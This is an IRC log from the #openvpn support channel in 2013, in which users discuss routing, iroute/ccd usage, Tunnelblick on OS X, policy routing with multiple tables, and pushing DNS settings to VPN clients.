17:11 -!- funky2 [~funky@81.178.191.90.dyn.estpak.ee] has joined #openvpn
17:12 -!- funky [~funky@81.178.191.90.dyn.estpak.ee] has quit [Ping timeout: 240 seconds]
17:18 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
17:20 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has joined #openvpn
17:23 < NEone> Okay, my ipforwarding and nat is generally working. As a openvpn client, all my traffic is routed through the vpn as expected. - But there is one disturbing exception: When I view a website which resides on that server where the openvpn server is, that one traffic is NOT routed through the VPN but instead is routed through the "normal" internet. How can I change that?
17:24 < Skapare> Options error: option 'iroute' cannot be used in this context (shell-1-to-gateway-17b.conf)
17:24 < Skapare> anyone know what context it should be used in?
17:25 < EugeneKay> !ccd
17:25 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
17:25 < EugeneKay> ^
17:25 -!- p3rror [~mezgani@41.248.148.89] has quit [Quit: Leaving]
17:26 < Skapare> can you use ccd on a client?
17:28 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
17:28 < Skapare> how can I pass the iroute from the client (who knows the IP needed) to the server (who does not know) while brining up the tunnel?  can I push an iroute to the server somehow?
17:29 < NEone> Not sure if I explained my problem right. It's not client specific, all clients are affected. My setting: openvpn server and apache server are on the same machine. My goals: 1. For the vpn users, all their internet traffic shall be routed through vpn (achieved). 2. For the vpn users, when they visit the website on that server, that traffic shall be routed through the vpn too (not achieved).
17:30 < [diecast]> Skapare i think what that means is each client will need a ccd for the connection with specific iroute information
17:31 < Skapare> can I do --client-connect in the client as a way to push the iroute to the server in the client context?
17:35 < Skapare> diecast: yeah that's what its saying ... but that means it has to be coded at the server side
17:35 < Skapare> diecast: but the server won't know the information
17:35 < Skapare> only the clients know
17:36 < Skapare> so I have to get that passed in from the client somehow
17:36 < [diecast]> does it change frequently, or at all?
17:36 < Skapare> it can
17:37 < Skapare> maybe every week or three
17:37 < [diecast]> are there any scripts monitoring the change
17:37 < Skapare> test subnets get created and destroyed at various times
17:37 < Skapare> the user at the client end would know
17:37 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has quit [Quit: Leaving]
17:38 < Skapare> I was going to make a script that would scan the route table and interfaces there and add them
17:38 -!- xrosnight [~quassel@116.76.169.18] has quit [Read error: Connection reset by peer]
17:38 < [diecast]> ya, something needs to be watching for changes so it can be added
17:38 < Skapare> is there a way to dynamically send a command to openvpn while it stays up?
17:38 < Skapare> right, but that watcher would be at the client end
17:39 < [diecast]> user-defined scripts
17:39 < Skapare> can they be run from outside openvpn to send a command to openvpn?
17:40 < Skapare> or does openvpn have some cron like thing to run it regularly on the inside?
17:40 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
17:40 < funky2> is there some way to personalise open vpn gui client?
17:41 < [diecast]> what client are your clients using
17:41 < [diecast]> we are using tunnelblick and  you can set a pre-connect.sh
17:42 < Skapare> no idea what tunnelblick is ... I'm using plain openvpn on each end ... one is a server (x4 for now, x36 eventuall)
17:42 < [diecast]> i haven't tried it with openvpn client, probably will work
17:42 < funky2> I am yet to try open vpn
17:42 < Skapare> what is it?
17:42 < [diecast]> since tunnelblick is just an openvpn front-end
17:42 < funky2> server front end?
17:42 < Skapare> do I have to change other stuff to use it?
17:42 < funky2> how do you add open vpn to likes of whmcs?
17:42 < [diecast]> Skapare nope
17:43 < [diecast]> it makes managing configs very simple as well
17:43 < [diecast]> since you can have a shared config within your lan if you want
17:43 < Skapare> so is there more detail about what tunnelblick is?  does it run outside openvpn?
17:43 < [diecast]> its a wrapper client
17:43 < [diecast]> it just uses openvpn at the end of the day
17:43 < Skapare> diecast: making things simple means I have to change all the complicated stuff
17:43 < [diecast]> it is client side only
17:43 < [diecast]> not really
17:43 < funky2> diecast have u tried daloradius?
17:44 < [diecast]> it takes standard openvpn client.conf
17:44 < funky2> how do u guys do billing and client admin? :d
17:44 < funky2> if not via whmcs
17:44 < [diecast]> our clients are developers, there is no billing
17:44 < Skapare> FYI, each client HOST runs multiple client instances to connect to multiple servers
17:44 < [diecast]> Skapare i do that too
17:44 < [diecast]> tunnelblick handles it all
17:45 < [diecast]> which makes it even better
17:45 < Skapare> until I know what it does in non-vague terms, I'm afraid to spend (which might be a waste) time on it
17:45 < [diecast]> it is osx only though
17:45 < Skapare> been down that road on other projects ... people say some package is great ... doesn't work for me
17:46 < Skapare> osx only means it will work for only 2 of the staff
17:46 < [diecast]> now you know its not worth your time =)
17:46 < Skapare> heh
17:46 < [diecast]> we're 100% osx here
17:46 < Skapare> so openvpn is not an issue on osx ... glad to know that
17:47 < hjohnson> yeah I use tunnelblick as well
17:47 < Skapare> we have 2 people on the team using osx and they will need to get into the tunnels, too
17:47 < hjohnson> ti's a shame that other platforms don't have the concept of "bundles" lke OS X does
17:48 < Skapare> maybe THEY can use tunnelblick ... the setup here is rsync/ssh config and key files from the server host itself (they will have an ssh login if authorized for a tunnel)
17:48 < Skapare> so what happens different if using tunnelblick than if not?
17:48 < Skapare> assume the same config file
17:49 < hjohnson> Skapare: so basically, you just make a folder ending in '.tblk' and put the client.config, certificate, and keys and sof orth in it.
17:49 < hjohnson> as far as OS X is concernned it shows up as a "file"... they double-click on that, and it installs it into Tunnelblick
17:49 < Skapare> why not /etc/openvpn ?
17:50 < hjohnson> Skapare: because /etc isn't used in OSX, all this kind of stuff is done ona per-user basis
17:50 < Skapare> can root do it?
17:50 < hjohnson> Skapare: root's rarely used
17:50 < hjohnson> it's all sudo
17:50 < Skapare> how to make it happen when booted up before a user logs in?
17:51 < hjohnson> Skapare: you don't.
17:51 < Skapare> need to
17:51 < hjohnson> user logs in, then activates the tunnel
17:51 < hjohnson> why do you need to bring up the tunnel before login?
17:51 < Skapare> does osx have this issue with wifi too?
17:52 < Skapare> so the owner can login via tunnel while out of town
17:52 < Skapare> can osx get wifi running when it boots up with no user present?
17:52 < [diecast]> so the osx machine will be a vpn server?
17:52 < hjohnson> Skapare: depends on the configuration.
17:52 < Skapare> no
17:53 < Skapare> the osx machines are developer laptops or desktops ... but they sometimes travel
17:53 < [diecast]> ok, then the guy does a vpn connect from home and then connects to the osx machine
17:53 < hjohnson> Skapare: so, for example, my WPA-Enterprise credentials are stored for just me in my user account.  The system doesn't have access to them before I log in.
17:54 < Skapare> hjohnson: sounds bad
17:54 < hjohnson> Skapare: no, it's good, because it means that only I can activate the credentials.
17:54 < [diecast]> i'm pretty sure you HAVE to have an external display attached to a macbook for it to function while closed
17:54 < hjohnson> without my login, the credentials remain encrypted.
17:54 < Skapare> hjohnson: how do you do that from remote?
17:54 < hjohnson> Skapare: I take it with me.
17:54 < hjohnson> :)
17:54 < Skapare> hjohnson: what if it's not easy to take?
17:55 < hjohnson> I think it's possible to have the credentials set as system wide
17:55 < Skapare> I know one of them is a big box desktop with a very large display
17:55 < hjohnson> Tunnelblick has the option to install things for all users or just the current user
17:55 < Skapare> hjohnson: OK, that sounds like the thing to do
17:56 < Skapare> hjohnson: Ubuntu has this issue ... people cannot login to home from the office if the machine somehow power cycled
17:56 < hjohnson> basically it boisl down to the fact that a user should only be able to use their credentials if they are at the machine.
17:56 < Skapare> hjohnson: in my previous job, lots of people had that issue and ubuntu community said it's a feature
17:57 < hjohnson> now you can have machine credentials, which are separate.
17:57 < Skapare> can tunnelblick do that?
17:57 < hjohnson> Skapare: I've not used it in that way, so don't really know
17:58 < Skapare> well, for me personally, at home, I won't have these issues ... I use Slackware
17:58 < hjohnson> Windows does this with domain computers in WPA-Enterprise.  When no one is logged in, Windows will authenticate with its machine credentials, so that it has a network connection to do network authentication.  once the user logs in, it re-auths with the user's own credentials.
17:58 < hjohnson> Skapare: my condolances
17:58 < hjohnson> Skapare: I'd rathe rnot keep a backup of patrick what's his face's laptop. ;)
17:59 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit [Ping timeout: 260 seconds]
17:59 < hjohnson> <-- debian user
17:59 < Skapare> Slackware does not fuss at me for anything I want to do ... I don't know if debian does or not since I've only used it for a few things
18:00  * Skapare has 3 backups of the history of Slackware
18:00 < Skapare> well, at least since 1.0
18:00 < hjohnson> hrmm.. stilla n inch of coffee in my cup from this morning.. do I drink it or throw it out
18:00 < Skapare> OTOH, Slackware has openvpn 2.3.1
18:01 < Skapare> make new coffee
18:01 < hjohnson> drank it... uggg
18:01 < hjohnson> (it was just my cup)
18:01  * Skapare is not a coffee drinker
18:01  * Skapare does not smoke or drink alcohol either
18:02 < maskedlua> Skapare: I solved that issue we worked on a night forever ago it seems
18:02 < Skapare> maskedlua: cool what was it?
18:02 < maskedlua> use multiple routing tables
18:02 < maskedlua> http://tldp.org/HOWTO/Adv-Routing-HOWTO/lartc.rpdb.multiple-links.html <-- based off of that, some changes
18:02 <@vpnHelper> Title: Routing for multiple uplinks/providers (at tldp.org)
18:03 < hjohnson> my little alix box has 3 routing tables on it
18:04 < Skapare> so making sure if a connection comes in from provider 2 it's return packegs go back out the same way?
18:04 < hjohnson> 1 for each of my internt connections, and 1 for stuff I want to send out the OpenVPN link
18:04 < Skapare> packets
18:04 < hjohnson> Skapare: yeah, I basically took that and built on it
18:04 < Skapare> interesting
18:04 < maskedlua> Skapare: yea, that's what mine does now, send packets in and out of the same interface it arrived on
18:04 < maskedlua> brb
18:04 < hjohnson> Skapare: I now have a knob, so i can randomly assign, say 80% of new connections to provider 1, and the rest to provider 2, and ensure all packets related to that connection go out the right provider.
18:05 < Skapare> maybe I can do that in my net to avoid having to [ut so many routes in
18:05 < hjohnson> so combining iptables, fwmark, and the routing table sorting stuff
18:05 < maskedlua> back
18:05 < hjohnson> it's pretty slick
18:06 < maskedlua> I didn't use iptables at all for this
18:06 < hjohnson> I've only run into a few situations where having connections come from different sources was a problem
18:06 < hjohnson> maskedlua: I used it because it gives me pretty fine grain control
18:06 < hjohnson> maskedlua: and lets me do it on a per connection basis, not per route basis.
18:06 < maskedlua> hjohnson: I've already put my brain in the blender doing this
18:06 < maskedlua> also... I have to run service out one interface or the other or both
18:07 < hjohnson> so, say, my browser opens up 10 connections to download a page...
18:07 < hjohnson> it load balances that
18:08 < maskedlua> eh... I don't want any load balancing, this is a server, just make sure it can recieve and send traffic from either of its IPs depending on who connects to it
18:08 < hjohnson> yeah, I can do that too
18:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
18:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:12 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:13 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
18:16 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
18:19 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
18:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
18:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:32 -!- funky [~funky@81.178.191.90.dyn.estpak.ee] has joined #openvpn
18:32 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
18:33 -!- funky2 [~funky@81.178.191.90.dyn.estpak.ee] has quit [Ping timeout: 245 seconds]
18:48 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
18:48 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 252 seconds]
18:55 -!- maskedlua_ is now known as maskedlua
19:02 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
19:03 < funky> guys whats the best way to cap user bandwith?
19:03 < funky> say to 1mb
19:27 -!- xrosnight [~quassel@116.76.169.18] has quit [Ping timeout: 245 seconds]
19:39 -!- funky [~funky@81.178.191.90.dyn.estpak.ee] has left #openvpn []
19:58 -!- raidz is now known as raidz_away
20:03 -!- master_of_master [~master_of@p4FD7BDAD.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
20:03 -!- bwallen [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has quit [Ping timeout: 264 seconds]
20:04 -!- bwallen [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has joined #openvpn
20:05 -!- master_of_master [~master_of@p4FD7BDAD.dip0.t-ipconnect.de] has joined #openvpn
20:27 < EugeneKay> Your OS' traffic limiting mechanism. On linux, `tc`
20:27 < EugeneKay> Oh, he's gone. Of course.
20:31 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Ping timeout: 264 seconds]
20:32 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
20:34 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:43 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
20:56 -!- rkantos_ [robin@4e.fi] has quit [Ping timeout: 248 seconds]
20:57 -!- rkantos [robin@4e.fi] has joined #openvpn
21:11 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
21:12 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
21:19 < Skapare> EugeneKay: it would be nice if openvpn supported unnumbered tunnels, then the P-t-P targets would be the primary host address
21:21 < Skapare> probably won't work on Windows, though
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:17 <+pekster> EugeneKay: That user has a bad ritual of going away minutes before competent help arrives
22:17 < EugeneKay> Surpris
22:24 < Skapare> pekster: you have set up many different kinds of VPN configurations, I presume
22:25 < Skapare> so that would make you a wide spanning expert
22:26 < Skapare> and of course, you have read the entire man page, sequentially, twice
22:31 < Skapare> if you are connecting as a client to two or more servers that use different CAs, obviously you cannot use the file name /etc/openvpn/keys/ca.crt for both ... what kind of naming scheme do you use? ... I used /etc/openvpn/keys/${CN}.ca.crt
22:33 <+pekster> Use what suites your needs, taste, and directory layout/permission
22:36 < Skapare> people have expressed their dislike or concern about my choices ... but they are never specific enough to identify what they think is wrong
22:38 <+pekster> Why should that bother you if you know what you're doing and why you're doing it?
22:38 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
22:39 < Skapare> well ... I'm still learning openvpn
22:44 < Skapare> one big limitation I have is not being able to set up the CA keeper and key signer system at the HQ office ... so I put that in each gateway instance in AWS, just for that gateway and its VPC subnet ... I'm going to add openvpn to my own personal AWS setup ... but not that way ... I'll do the CA/signing stuff at home and push keys to where they are needed
22:49 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
22:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
22:54 < Skapare> hi jgeboski
22:54 < jgeboski> hi
23:16 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has quit [Quit: Ex-Chat]
23:25 < mist__> omornin Skapare
23:28 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
23:29 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
23:32 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
23:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:45 <@krzee> https://www.youtube.com/watch?v=95N2KXqH5cs
23:45 <@vpnHelper> Title: 29C3: FactHacks (EN) - YouTube (at www.youtube.com)
23:45 <@krzee> i wanna add that to the bot but cant think of what to name the factoid
23:46 < Aketzu> just !rsa ?
23:49 <+pekster> krzee: Entropy?
23:50 <@krzee> pekster, i like that one too
23:50 <+pekster> (assuming that's the main intent)
23:50 <@krzee> i was thinking that
23:50 <+pekster> The rest isn't really relevant to OpenVPN or its use of asymmetric crypto
23:51 <@krzee> !learn entropy as https://www.youtube.com/watch?v=95N2KXqH5cs for a nice talk that explains some nice info on rsa factoring, especially why you need good entropy sources
23:51 <@vpnHelper> Joo got it.
23:51 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:53 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has joined #openvpn
23:59 <@krzee> !factoids search tls
23:59 <@vpnHelper> 'tls-cipher' and 'tls-auth'
23:59 <@krzee> !tls-cipher
23:59 <@vpnHelper> "tls-cipher" is http://sourceforge.net/mailarchive/forum.php?thread_name=48B01B33.6030806%40usa.net&forum_name=openvpn-users
23:59 <@krzee> !tls-auth
23:59 <@vpnHelper> "tls-auth" is "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS., or (#2) openvpn --genkey --secret ta.key to
23:59 <@vpnHelper> make the tls static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
--- Day changed Thu Sep 26 2013
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:41 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
01:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:44 -!- master_o1_master [~master_of@p4FF2444B.dip0.t-ipconnect.de] has joined #openvpn
01:47 -!- master_of_master [~master_of@p4FD7BDAD.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
01:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
02:20 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
02:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:36 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
02:43 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
02:46 -!- ade_b [~Ade@nlvdhy30-ext1.pub-eu.asml.com] has joined #openvpn
02:46 -!- ade_b [~Ade@nlvdhy30-ext1.pub-eu.asml.com] has quit [Changing host]
02:46 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:57 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
03:11 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 260 seconds]
03:17 -!- verwilst [~verwilst@dD57697E2.access.telenet.be] has joined #openvpn
03:17 < verwilst> Hello, openvpn has resolvconf to auto-update pushed dns servers in ubuntu, but centos seems to lack such tools. What's the best way to push dns changes through openvpn on centos?
03:20 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
03:20 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Read error: Connection reset by peer]
03:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:40 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
03:41 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
03:51 < EugeneKay> !resolvconf
03:51 < EugeneKay> Hrm. Dang bot.
03:52 < EugeneKay> verwilst - resolvconf is just a script; you can run it on a centOS box as a connect script too. Just isn't included.
03:57 < verwilst> EugeneKay, that's what i thought
03:58 < verwilst> just wanted to make sure there wasn't some other secret way of doing this with centos :)
04:16 -!- lmm [uid6417@gateway/web/irccloud.com/x-hugcngkmzazduokl] has quit [Ping timeout: 245 seconds]
04:42 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-tpxfvncnimzrpkdp] has joined #openvpn
04:42 -!- lmm_ is now known as lmm
05:04 -!- Roelke_ [~Roelke@hostserv.nl] has quit []
05:04 -!- Roelke [~Roelke@hostserv.nl] has joined #openvpn
05:40 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:42 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
06:20 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
06:20 < julius_> hi
06:21 < julius_> im in the process of including machines into the openvpn that run in the same lan as the openvpn client. at the end of the howt o description it says:   The last step, and one that is often forgotten, is to add a route to the server's LAN gateway which directs 192.168.4.0/24 to the OpenVPN server box      im not sure what the right route command would look like, any examples?
06:50 < rob0> um, what are you trying to do? Just give server LAN hosts a route to the VPN hosts via the server.
06:52 < julius_> my openvpn server sits behind a router, the howto says the router needs to know what todo with packets from the "other" lan where the openvpn client sits in
06:52 < julius_> route add -net 192.168.29.0 netmask 255.255.255.0 gw 192.168.1.1
06:52 < julius_> like this?
06:53 < julius_> assuming .1.1 is the router in the server lan and .29.0 is the lan on the clients side
06:53 < defswork> you have to tell your lan how to get to the vpn subnet (or remote subnets that you allow to over the vpn) via the vpn server (
06:54 < defswork> julius_, if you can do that on your Lan's default gateway then thats where to do it
06:54 < defswork> julius_, otherwise if you may have to add static routes elsewhere (whatever needs to get to the vpn subnets)
06:55 < julius_> ok, im gonna paint a picture. this cant be that hard
06:55 < defswork> or you can change your lan default gateway to the VPN server and get the vpn server to forward for the original default gateway
06:55 < defswork> it's not hard
07:05 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
07:06 < julius_> http://flockdraw.com/bqwnvq           can you see that?
07:06 <@vpnHelper> Title: FlockDraw - Free Online Drawing Tool - Collaborative Group Whiteboard (at flockdraw.com)
07:08 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:09 < rob0> !clientlan
07:09 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
07:09 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
07:10 < rob0> Just give server LAN hosts a route to the VPN hosts via the SERVER.
07:11 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
07:11 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
07:11 < rob0> Also, if that's Linux, forget route(8), use ip(8): ip route add 192.168.29.0/24 via vpn.server.ip.addr
07:12 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
07:14 < rob0> and another thing: I'd fix that 192.168.1.0/24 LAN
07:15 < rob0> !welcome
07:15 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
07:15 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:15 < julius_> rob0, i used 1.1 above that was my fault...it was from another example
07:15 < julius_> only got a .29.0 and a .11.0 netwokr
07:18 < defswork> thats a quality network diagram
07:24 < julius_> i know
07:25 < julius_> just a quick draw...but it should show what im talking about without being confusing
07:25 < julius_> have to restart my router but will test then
07:29 < julius_> ok, it does work
07:29 < julius_> thx for your time
07:29 < julius_> defswork, are there better tools online where you can quickly draw a network diagram?
07:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:35 < defswork> ASCII FTW!!
07:35 < defswork> ;)
07:47 < rob0> was your situation not covered by the clientlan flowchart?
07:48 < EugeneKay> julius_ - http://g.jk.gs/ lets you make digraphs that are pretty useful
07:48 <@vpnHelper> Title: Graph generator thingy (at g.jk.gs)
07:52 -!- MacGyver_ [~MacGyver@sog.polvanaubel.com] has joined #openvpn
07:56 -!- mapps [~Mark@78.40.152.129] has joined #openvpn
07:57 -!- MacGyver_ [~MacGyver@sog.polvanaubel.com] has quit [Client Quit]
07:57 -!- MacGyver_ [~MacGyver@sog.polvanaubel.com] has joined #openvpn
07:59 -!- MacGyver_ [~MacGyver@sog.polvanaubel.com] has quit [Client Quit]
08:00 -!- MacGyver_ [~MacGyver@sog.polvanaubel.com] has joined #openvpn
08:06 -!- Runkle [~jmacdonal@li508-90.members.linode.com] has joined #openvpn
08:06 < Runkle> hello
08:07 -!- mapps [~Mark@78.40.152.129] has quit [Ping timeout: 264 seconds]
08:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
08:10 -!- mapps [~Mark@78.40.152.129] has joined #openvpn
08:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:15 < julius_> EugeneKay, mine got color
08:22 < rob0> was your situation not covered by the clientlan flowchart?
08:23 -!- Runkle [~jmacdonal@li508-90.members.linode.com] has left #openvpn []
08:29 < julius_> ah thats why you posted the topic, i thouhgt you meant the first part about target
08:29 < julius_> !route
08:30 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
08:30 <@vpnHelper> behind the server or client
08:31 < julius_> !clientlan
08:31 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
08:31 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
08:32 < julius_> rob0, clientslan is to generic and to complicated
08:32 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
08:33 < julius_> its probably the holy grail...but for  someone like me who doesnt use route a lot (only for a default gateway) sometimes i can write a better howto
08:43 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
08:44 -!- xrosnight [~quassel@116.76.169.18] has joined #openvpn
08:45 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Quit: leaving]
08:47 -!- NEone [~NEone@224-227-174-95-static.fiber.fcom.ch] has joined #openvpn
08:47 < NEone> hello
08:49 < NEone> Goal: Clients shall resolve "secure.mydomain.com" to "10.99.0.1" instead of using the DNS and resolving it to the public IP of that domain. Question: How to achieve this? Is it possible to push a "hosts"-file entry or something similar?
08:50 <@krzee> while its not really possible to push a hosts file entry, you can script up anything you want
08:50 <@krzee> !scripts
08:50 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
08:52 < NEone> hmm.. That page does not open. (timeout)
08:55 < NEone> Seems like they have a problem with their homepage. Will try later.
08:58 < defswork> NEone, simplest way is to push new name servers settings and use bind views
08:59 < NEone> defswork: Do you mean I must setup my own DNS/BIND and push that one as the DNS to the client?
08:59 < defswork> you'd need control of the TTL of the zone though else clients could cache external IP from when they werent on vpn
09:00 < defswork> NEone, yes
09:01 -!- markp [~Mark@213.205.234.146] has joined #openvpn
09:01 -!- mapps [~Mark@78.40.152.129] has quit [Ping timeout: 248 seconds]
09:02 < NEone> Hm. What I actually try to achieve simply is that clients can view a https website on my server but the traffic must go through the VPN. Isn't that possible in a simple way (ideally without having to setup my own DNS)?
09:04 < defswork> I think pushing new NS is the simplest way
09:04 < defswork> but secure.mydomain.com's internet facing DNS will need a short TTL
09:04 -!- xrosnight [~quassel@116.76.169.18] has quit [Changing host]
09:04 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
09:05 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
09:05 < defswork> NEone,  is this a corporate setup?
09:08 -!- markp [~Mark@213.205.234.146] has quit [Read error: Connection reset by peer]
09:08 < NEone> I'm setting up the server for a friend who is starting his startup company. The setup will be: 1 server (apache and openvpn server on the same box) and hundreds of Android tablets as clients. Those tablets shall connect to openvpn and then, within that tunnel, view the website as https.
09:08 -!- markp [~Mark@213.205.234.146] has joined #openvpn
09:09 < defswork> the website never accessible when not on the vpn ?
09:09 < NEone> True. Only www.mydomain.com publicly accessible, but secure.mydomain.com only accessible through the tunnel.
09:10 < defswork> ok - then dont put secure.mydomain.com in internet facing dns server
09:10 < defswork> and push new ns and serve mydomain.com on private ns (that allows recursion)
